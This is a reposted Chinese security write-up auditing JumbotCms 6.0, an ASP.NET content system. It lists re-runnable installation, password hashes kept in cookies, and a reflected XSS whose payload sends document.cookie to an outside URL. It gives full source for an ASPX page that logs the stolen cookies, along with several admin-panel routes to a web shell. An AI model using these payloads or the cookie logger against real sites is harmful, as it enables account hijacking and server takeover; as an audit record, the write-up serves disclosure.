来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] Author:鄙人学的软件测试专业,最近学校准备上这方面的课程了,于是想先找套ASP.NET开源CMS玩玩,百度了下,看到了将博CMS,人气还挺高的,跑到官网下载了6.0最新版的,NND,安装都安...
Author: 鄙人学的软件测试专业,最近学校准备上这方面的课程了,于是想先找套ASP.NET开源CMS玩玩,百度了下,看到了将博CMS,人气还挺高的,跑到官网下载了6.0最新版的,NND,安装都安装不了,反正哪都报错…真搞不懂官方是不是故意的…于是花了两天时间把程序调试好,终于能跑起来了…跑起来数据库数据都是手工插进去的…坑爹啊…程序功能看不到,只能看代码慢的很,很多东西也不好看…算了,勉强看吧…俺也是第一次接触这套程序。 本来想找着什么注入csrf什么的,代码看了一遍,没找着什么可以利用的,个人技术问题吧。 一、安装完没提示或自动删除安装文件 安装完成后未提示或自动删除install目录文件, 直接访问http://seay.sinaapp.com/install/default.aspx可直接重新安装程序,
二、Cookie保存用户名密码 Cookie东西有点多,
id=2&name=ss123&nickname=ss123&password=e10adc3949ba59abbe56e057f20f883e&email=1160549384%40qq.com&groupid=1&groupname=%e4%b8%b4%e6%97%b6%e7%94%a8%e6%88%b7&setting=1%2c1%2c1%2c0%7c23%2c1%2c10%2c10%2c1%2c0%2c1%2c1%2c5%2c1%2c1%2c5%2c1%2c1%2c5%2c&cookies=c42071141
密码都保存在里面了,配合下面的XSS
三、统计插件XSS漏洞: 先看代码:
string _channeltype = q(“cType”); 取到值,之后赋给_viewnum;最后转成javascript输出…直接XSS, 验证 http://seay.sinaapp.com//plus/viewcount.aspx?ccid=13&cType=article<script>alert(/1/)</script) 取cookie http://seay.sinaapp.com/plus/viewcount.aspx?ccid=13&cType=article<script>document.location=’ http://seay.sinaapp.com/1.aspx?id=’+document.cookie</script>
顺便写了个aspx接收cookice值的 <%@ Page Language=”C#” AutoEventWireup=”true” %> <head id=”Head1″ runat=”server”> <%@import Namespace=”System.IO”%> <script language=”C#” runat=”server”> protected void Page_Load(object sender, EventArgs e) { string str = Request["id"]; str = System.Web.HttpUtility.UrlDecode(str); StreamWriter sw = null; string path = Server.MapPath(“~/”)+ “seay.txt”; sw = new StreamWriter(path,true,new UTF8Encoding()); sw.Write(“————Cookie值:” +str+”————\n\b”); sw.Close(); Response.Redirect(“http://www.baidu.com/”); } </script> </head> 保存为aspx就行了,拿到密码可以去解密,之后你们懂的,
后台GetShell方法: 四、编辑模板抓包改包生成shell; 我们进入后台后,可以看到前台更新这,
我们选择公用头部文件—编辑模版,
文件名是从数据库读取的ID,所以就避免了任意文件读取漏洞, 把模板内容修改为我们准备好的一句话(记得先备份原模版,记得改回来),用live http header插件抓包,修改提交地址里面的header.htm为header.aspx,之后Replay提交,就会在 http://www.2cto.com /templates/default/include/目录下生成header.aspx,shell地址http://seay.sinaapp.com/templates/default/include/header.aspx
五、创建目录未过滤; 先看源码:
Directory.Exists()这里是检查文件夹是否存在,再往下看
没过滤,直接就生成了,测试下, 后台—系统管理—频道管理。我们现在添加频道,上个图
对于IIS6.0,创建目录未过滤目录名称,我们把频道实际目录写seay.aspx之类的,利用IIS解析getshell。你们懂得。 好了,现在我们生成目录,就在根目录有了一个a.aspx的目录
六、上传文件类型修改; 再看下面,在添加频道和内容模型两个地方,可以修改允许上传的类型。
直接写aspx之类的上传类型就可以了…
七、蛋疼备份数据库自定义文件名; 还是先看源码: 这是MSSQL的, 很明显过滤了’号和;分号,看来程序员知道IIS的解析,
但是看下ACCESS的
就没过滤了…不知道怎么想的 我们在留言什么的能写东西的地方写个一句话, 再切换到 系统管理—数据库维护,直接修改备份的文件名为seay.aspx;.bak如果名字不是bak扩展名,它会自动加.bak,备份路径_data\databackup\seay.aspx;.bak
八、在线执行SQL 在系统管理下,我们可以看到有一个“在线执行SQL”,没有过滤SQL命令, 如过权限不错的话,可以用来提权哦。 算了…就写到这儿了。蛋疼的很…安装不了很多东西都没法去上图验证… 关键字:Powered by JumbotCms |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com